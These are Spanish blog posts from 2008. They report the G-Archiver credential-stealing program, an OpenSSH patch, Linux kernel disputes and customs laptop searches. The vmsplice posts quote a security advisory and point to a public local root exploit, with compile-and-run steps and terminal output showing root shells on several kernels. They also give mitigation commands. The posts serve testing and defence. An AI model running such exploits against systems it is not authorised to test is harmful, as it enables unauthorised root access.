Estos días ha sido noticia el robo de contraseñas usando el programa G-Archiver, una utilidad gratuita que sirve para hacer una copia de seguridad del buzón de GMail en el PC. La peregrina idea parece que ha tenido adeptos y mucha gente se descargó este software a su ordenador.

Claro, para que este programa pueda hacer su trabajo necesita el nombre del usuario y la contraseña de la cuenta de correo que usted tiene en GMail, así que violando la seguridad más básica, le damos nuestros datos de GMail a un software que no tiene que ver con GMail convencidos de que, por estar ejecutándose en nuestro PC, este software es de los nuestros. Pues no.

¡A ver cuando aprendemos de una **** vez a mantener confidenciales nuestros datos de acceso y no darlos a otro que no sea el lugar a donde accedemos!

¿Qué peligro entrañaba G-Archiver? Nos lo cuenta Jeff Atwood en su blog "Coding Horror": Resulta que un programador llamado Dustin Brooks se descargó G-Archiver y se hizo la eterna pregunta que nos hacemos los programadores "¿cómo se ha programado esto?", así que pasó G-Archiver por Reflector, un descompilador para programas hechos con tecnología .NET. ¿Qué descubrió? Pues que ahí dentro del código, el autor, un tal John Terry, había incluido "a pelo" su nombre de usuario y contraseña de GMail para autoenviarse los datos personales que los pardillos de los usuarios de G-Archiver daban al programa al configurarlo.

Mira por donde, a Dustin Brooks se le ocurrió acceder a GMail usando el nombre de usuario y la contraseña que descubrió en el fuente de G-Archiver y se encontró con esto:

Nada menos que 1.777 correos que G-Archiver había enviado a Terry con la información personal de otros tantos usuarios que se lo habían instalado. Todos los mensajes de correo de estos usuarios podían ahora ser leídos, o incluso se podía suplantar su identidad, o averiguar sus contraseñas de acceso a otros sitios web, que normalmente se nos envían por correo y guardamos para recordarlas fácilmente.

Este caso me recuerda al software que lleva mucho tiempo circulando para averiguar quién le ha borrado como contacto en el messenger. Para averiguarlo se sigue el mismo sistema, usted se descarga un software, le da su usuario y contraseña a ese software (ya empezamos mal) y él se encarga de acceder a su cuenta de msn y averiguar quién le ha emilinado. Hay que decir que el software funciona, lo malo es que no sabemos qué mas hace ese software con nuestro usuario y contraseña del messenger. Por cierto, si usted quiere averiguar quién le ha eliminado de su messenger, use aMSN, la versión de messenger que usamos los usuarios de sistemas no Windows. Con aMSN usted sabrá quién le ha borrado como contacto porque el icono de esa persona aparece con una forma especial en estos casos.

No me canso de decirlo, pero una de las ventajas del software de fuentes abiertas es que es mucho más difícil que nos cuelen troyanos como hace G-Archiver, ya que, aunque nosotros personalmente no sepamos interpretar el código, hay muchos programadores leyéndolo y viendo qué es lo que el programa hace realmente. En este caso, aunque G-Archiver no es de fuentes abiertas, tenemos la suerte de que a un programador le haya dado por hacer ingeniería inversa y leer el fuente, cosa que no siempre es posible hacer en los programas cerrados.

Sin duda muchos de los programas que usted tiene instalados ahora mismo en su ordenador tienen código "extra" con características que usted ignora. La mayoría de este código "extra" son lo que se suele llamar "huevos de pascua", inofensivos mensajes humorísticos de los programadores, como los que contienen las utilidades "apt-get", "aptitude", o del "firefox". A veces el código "extra" no son mensajes sino juegos completos, como el buscaminas que esconde el "aptitude", o el juego StarWars que esconde el OpenOffice, o los diversos juegos escondidos en todas las versiones de Excel hasta el 2002. Esto de esconder juegos ha sido muy criticado porque aunque no supone ningún peligro, es desperdiciar inútilmente los recursos de la máquina.

Si no se cree lo que acabo de contarle, puede leer cómo acceder a esos "juegos ocultos" en http://www.kriptopolis.org/huevos-de-pascua-en-software-libre-1 y en http://j-walk.com/ss/excel/eastereg.htm

Si ha conseguido ejecutar en su sistema estos juegos, seguramente se habrá sorprendido de lo que los programadores "buenos" son capaces de colarle en su PC con tal de satisfacer su ego, así que ahora imagine lo que los programadores con malas intenciones pueden colarle en forma de programas aparentemente útiles, como G-Archiver.

Yo que usted antes de instalarme algo investigaría si se puede confiar en ese software, y preferiblemente usaría software de fuentes abiertas, que no tiene por qué ser gratuito, pero que le garantiza que lo que usted se está instalando hace lo que usted cree que hace, y que no hay trampa ni cartón. Y si usted no sabe investigar esto, consulte a sus amigos, o compañeros de trabajo, expertos en el tema, que le van a aconsejar gratis.

Eso si, estírese un poco y hágale un regalito a su amigo técnico de vez en cuando, por ejemplo el último viernes de cada mes de Julio, que es el SysAdminDay, día del administrador de sistemas, (www.sysadminday.com), o el día 256 de cada año, que es el día del programador (programmerday.info) y que viene a caer el 13 de Septiembre en años no bisiestos.

Si quiere ideas para regalos, a los técnicos nos chiflan las cosas que venden aquí: http://www.thinkgeek.com

¿Te ha gustado? - Digg Me! | Add to del.icio.us! | reddit this!

Recientemente se ha anunciado la disponibilidad de un parche para OpenSSH que permite hacer las copias SCP más rapidamente mediante el uso de varias técnicas, desde aumentar los buffers hasta usar más de un thread (hilo de ejecución).

Chris Rapier, el autor del parche, ha escrito un mensaje en la lista openssh-unix-dev en el que, con un tono que le honra (en vista de las agrias polémicas que está habiendo entre Linus Torvalds y los desarrolladores de FreeBSD respecto del asunto de vmsplice), deja que los autores de OpenSSH verifiquen si su parche cumple con los elevados estándares de seguridad que mantienen desde hace años. He aquí sus comentarios:

Well, I'm the developer of this patch and I fully respect their decision 
not to incorporate at this time.

The OpenSSH dev group has, I believe, different priorities. Security is, 
and must be, foremost in their mind. Performance rightly takes a back 
seat to security concerns. On the other hand, as a developer for high 
performance networks I have a client base that needs the performance so 
that is foremost in my mind. I don't believe my patch compromises 
security but the development group has to be sure of this. Their 
reputation will be far more affected than mine if there turns out to be 
a problem.

Eventually, I believe that some version of the buffer tuning concept 
will be incorporated but it has to meet the high quality requirements of 
the development group. In the mean time, early adopters and other people 
willing to incorporate this patch are perfectly free to do so. In fact, 
even when communicating with non-HPN hosts a performance boost will be 
seen if the bulk data flow is in the direction of the HPN patch host. So 
even without incorporation of the patch into the main source tree people 
  can see these advantages.

Este es un gran ejemplo de actitud del que muchos deberían aprender en vez de dedicarse a defender sus técnicas de programación insultando al adversario, un tipo de falacia conocida como "Argumentum ad Homimem, que, en pocas palabras, es algo así como decir: "tu argumento es mentira porque tú eres un sinvergüenza". A lo largo de mi vida he visto a algunos sinvergüenzas elaborar extraordinarias propuestas y a mucha gente buena decir estupideces. Creo que los argumentos deben ser evaluados independientemente de quien los proponga.

Para finalizar esta entrada vamos a taparnos la nariz y a leer las malolientes palabras de Linus Torvalds en la polémica a la que me refería al principio.

I claim that Mach people (and apparently FreeBSD) are incompetent idiots. 

I also claim that Slashdot people usually are smelly and eat their 
boogers, and have an IQ slightly lower than my daughters pet hamster 
(that's "hamster" without a "p", btw, for any slashdot posters out 
there. Try to follow me, ok?).

Furthermore, I claim that anybody that hasn't noticed by now that I'm an 
opinionated bastard, and that "impolite" is my middle name, is lacking a 
few clues.

Finally, it's clear that I'm not only the smartest person around, I'm also 
incredibly good-looking, and that my infallible charm is also second only 
to my becoming modesty. 

So there. Just to clarify.

       Linus "bow down before me, you scum" Torvalds

Vamos a suponer que Linus Torvalds está usando técnicas de los antiguos filósofos cínicos y su tono se debe al uso deliberado de la anaideia. No se si le estaré sobrevalorando, pero le voy a dar un voto de confianza.

¿Te ha gustado? - Digg Me! | Add to del.icio.us! | reddit this!

En http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c, el mismo paisano que ha programado el exploit ha programado la forma de deshabilitar vmsplice en el código del kernel que se está ejecutando en memoria, y así eliminamos la vulnerabilidad de momento, hasta que cambiemos nuestro kernel a uno nuevo que no tenga esta vulnerabilidad.

$ wget http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c
$ gcc disable-vmsplice-if-exploitable.c -o disable-vmsplice-if-exploitable
$ sudo ./disable-vmsplice-if-exploitable
Password:
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
Exploit gone!
$

Ejecutamos ahora de nuevo el exploit (cuyo fuente lo he llamado exploit-vmslice.c y el binario exploit-vmslice) y comprobamos que ya no conseguimos acceso root

$ ./exploit-vmsplice 
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e3c000 .. 0xb7e6e000
[-] vmsplice
$

Como comenté arriba, este parche actúa sobre la memoria, no sobre el código que se carga cuando el sistema se inicia, por tanto al reiniciar la máquina vuelve a ser vulnerable. La solución temporal es ejecutar este parche en el script de inicio del sistema.

Otra opción es parchear el fuente de splice.c (que es donde está el fallo) con el diff publicado en http://www.alu.ua.es/j/jgl14/patch-vmsplice-2.6.24.1.diff.gz y recompilar e instalar el nuevo kernel.

¿Te ha gustado? - Digg Me! | Add to del.icio.us! | reddit this!

Este es el análisis de vulnerabilidades de vmplice que Wojciech Purczynski hizo públicas este mes. Tomado de la lista "Full disclosure":

Subject:    [Full-disclosure] CSA-L03: Linux kernel vmsplice unchecked
From:       Wojciech Purczynski 
Date:       2008-02-12 7:50:49

===[ ABSTRACT ]=========================================================

A new vmsplice() system call was introduced in the 2.6.17 release of the
Linux kernel. In the 2.6.23 kernel the system call functionality has
been further extended resulting in two new critical vulnerabilities.


===[ AFFECTED SOFTWARE ]================================================

Linux 2.6.23 - 2.6.24

For the exact kernel version please refer to an information provided by
your vendor.


===[ DESCRIPTION ]======================================================

VULNERABILITY #1

Inappropriate dereference of user-supplied memory pointers in the
code beginning at line 1378 in the vmsplice_to_user() kernel
function (fs/splice.c):

---8<--- fs/splice.c:1378 ---8<---
	error = get_user(base, &iov->iov_base);
	/* ... */
	if (unlikely(!base)) {
		error = -EFAULT;
		break;
	}
	/* ... */
	sd.u.userptr = base;
	/* ... */
	size = __splice_from_pipe(pipe, &sd, pipe_to_user);
---8<--- fs/splice.c:1401 ---8<---

The code lacks validation of these pointers (i.e. with access_ok()).
The __splice_from_pipe() assumes these are valid user-memory pointers
and never makes any verification of them. The function dereferences the
pointers with __copy_to_user_inatomic() function (in pipe_to_user()) in
order to write data to user-process memory in this case leading to
possibility of arbitrary data (read from pipe) to arbitrary kernel
memory.


VULNERABILITY #2

The copy_from_user_mmap_sem() function copies data from user-process
memory with the use of __copy_from_user_inatomic() without validating
user-supplied pointer with access_ok():

---8<--- fs/splice.c:1188 ---8<---
         partial = __copy_from_user_inatomic(dst, src, n);
---8<--- fs/splice.c:1188 ---8<---

This vulnerability leads to indirect reading of arbitrary kernel memory.


===[ IMPACT ]===========================================================

Vulnerabilities may lead to local system compromise including execution
of arbitrary machine code in the context of running kernel.

Vulnerability #1 has been successfully exploited on Linux 2.6.24.
Vulnerability #2 not tested.


===[ DISCLOSURE TIMELINE ]==============================================

1st Feb 2008	Vendor notification
8th Feb 2008	Public disclosure


===[ AUTHOR ]===========================================================

Wojciech Purczynski 

Wojciech Purczynski is a Security Researcher at Vulnerability Research
Labs, COSEINC PTE Ltd.
http://coseinc.com

Wojciech Purczynski is also a member of iSEC Security Research
http://isec.pl/


===[ LEGAL DISCLAIMER ]=================================================

Copyright (c) 2008 Wojciech Purczynski
Copyright (c) 2008 COSEINC PTE Ltd.

All Rights Reserved.

PUBLISHING, DISTRIBUTING, PRINTING, COPYING, SCANNING, DUPLICATING IN
ANY FORM, MODIFYING WITHOUT PRIOR WRITTEN PERMISSION IS STRICTLY
PROHIBITED.

THE DOCUMENT IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. THE
CONTENT MAY CHANGE WITHOUT NOTICE. IN NO EVENT SHALL THE AUTHORS BE
LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, INJURIES,
LOSSES OR UNLAWFUL OFFENCES.

USE AT YOUR OWN RISK.

¿Te ha gustado? - Digg Me! | Add to del.icio.us! | reddit this!

Después de que Linus Torvalds llamara incompetent idiots a la gente de FreeBSD por no implementar vmsplice() en su kernel y hacerlo mediante COW (copy-on-write), ahora parece que tendrá que morderse la lengua por haber introducido en todos los kernel superiores a 2.6.17 junto con vmsplice() un bug muy fácil de explotar, tanto que ya está el fuente del exploit (en Kriptópolis, por ejemplo) que cualquiera puede bajarse y compilar.

Este bug permite a un usuario hacerse root sin tener que dar ninguna contraseña. La versión del kernel 2.6.24.2, disponible en kernel.org ya tiene resuelto este problema.

La lista completa de versiones del kernel vulnerables la ha publicado Security Focus.

Para saber si tu máquina es vulnerable:

1. Accede a la página web del exploit y copialo 
   a un fichero local, por ejemplo, exploit.c 

2. Compílalo con la orden
   $ gcc exploit.c

3. Esto genera un fichero binario llamado a.out que puedes ejecutar directamente
   $ ./a.out

Descarga del exploit

El código fuente del exploit lo tienes en http://www.milw0rm.com/exploits/5092

Copialo al portapapeles y lo pegas en tu terminal en un fichero vacío.

Pruebas de vulnerabilidad

Ubuntu 6.06 LTS Dapper Drake, kernel 2.6.15-51-386

No está afectado, al ser un kernel anterior al 2.6.17

$ uname -a
Linux jhp1 2.6.15-51-386 #1 PREEMPT Thu Dec 6 20:20:49 UTC 2007 i686 GNU/Linux
$ gcc exploit.c
$ ./a.out
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7dc2000 .. 0xb7df4000
[-] vmsplice: Function not implemented
$

Ubuntu 6.10 Edgy - Server Edition, kernel 2.6.17-10-server

Vulnerable.

$ uname -a
Linux srv1 2.6.17-10-server #2 SMP Tue Dec 5 22:29:32 UTC 2006 i686 GNU/Linux
$ gcc exploit.c
$ ./a.out
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e5a000 .. 0xb7e8c000
[+] root
# 

Ubuntu 7.04 Feisty Fawn, kernel 2.6.20.16-386

No parece estar afectado: el exploit se compila pero la ejecución da un fallo de segmentación al intentar llamar a vsplice. Al parecer algunos de los kernel de Ubuntu no ponen vmsplice en enable a no ser que se haga deliberadamente, esa podría ser la razón de que el exploit termine con un fallo de segmentación.

$ uname -a
Linux jhp2 2.6.20-16-386 #2 Tue Dec 18 05:41:44 UTC 2007 i686 GNU/Linux
$ gcc exploit.c
$ ./a.out
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e2c000 .. 0xb7e5e000
Fallo de segmentación (core dumped)
$

Ubuntu 7.10 Gutsy Gibbon, kernel 2.6.22-14-generic

Vulnerable

$ uname -a
Linux panic 2.6.22-14-generic #1 SMP Fri Feb 1 04:59:50 UTC 2008 i686 GNU/Linux
$ gcc exploit.c
$ ./a.out
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7ddb000 .. 0xb7e0d000
[+] root
#

Debian Etch, kernel 2.6.18-5-686

Vulnerable

  
$ uname -a   
Linux maiky 2.6.18-5-686 #1 SMP Wed Oct 3 00:12:50 UTC 2007 i686 GNU/Linux
$ gcc exploit.c
$ ./a.out
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7d81000 .. 0xb7db3000
[+] root
#

Open SuSE 10.2, kernel 2.6.18.2-34-default

Vulnerable

$ uname -a
Linux lumi 2.6.18.2-34-default #1 SMP Mon Nov 27 11:46:27 UTC 2006 i686 i686 i386 GNU/Linux
$ gcc exploit.c
$ ./a.out
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7da2000 .. 0xb7dd4000
[+] root
#

Gracias a Sergio y Maseda por aportar los resultados en sus máquinas

¿Te ha gustado? - Digg Me! | Add to del.icio.us! | reddit this!

Leo con estupor en la edición electrónica del Washington Post de ayer 7 de Febrero que en varios aeropuertos de los Estados Unidos se está pidiendo a ciertos pasajeros que llegan del extranjero que entreguen sus teléfonos móviles y sus ordenadores portátiles a los empleados de aduanas para que estos extraigan de ellos la lista de números a los que llamas y la caché del navegador que indica los sitios web que has visitado. La razón que se da para hacer esto es que el agente de aduanas tiene "security concerns" sobre ti.

Aquí está el enlace a la noticia:
http://www.washingtonpost.com/wp-dyn/content/article/2008/02/06/AR2008020604763.html

Puedes negarte a encender tu portatil, teclear tu usuario y contraseña y abrir tu navegador, pero si lo haces te requisan la máquina y la contraseña de tu usuario y, como le ha pasado a una tal Maria Udy, ejecutiva de marketing de una compañía, puede que nunca más vuelvas a ver tu máquina.

Me sorprende la rapidez con la que se están perdiendo todo tipo de derechos y libertades por la sencilla razón de que los gobiernos no son capaces de gestionar la libertad y la seguridad de sus ciudadanos al mismo tiempo. Y lo que me sorprende aún más es que nadie se escandalice por esto. En realidad ya no me sorprende, pero es que yo antes creía que los políticos buscaban el bien común y por ello eran personas con una gran educación en valores. Ahora tengo claro que tienen una gran educación en intereses y buscan el bien de aquellos que les mantienen en el poder. Pero ya que todos sabemos el juego al que juegan, ¿por qué no dejan de tomarnos por tontos y nos dicen a las claras a quién defienden en lugar de querer convencernos de que todo lo hacen por nuestro bien?

¿Te ha gustado? - Digg Me! | Add to del.icio.us! | reddit this!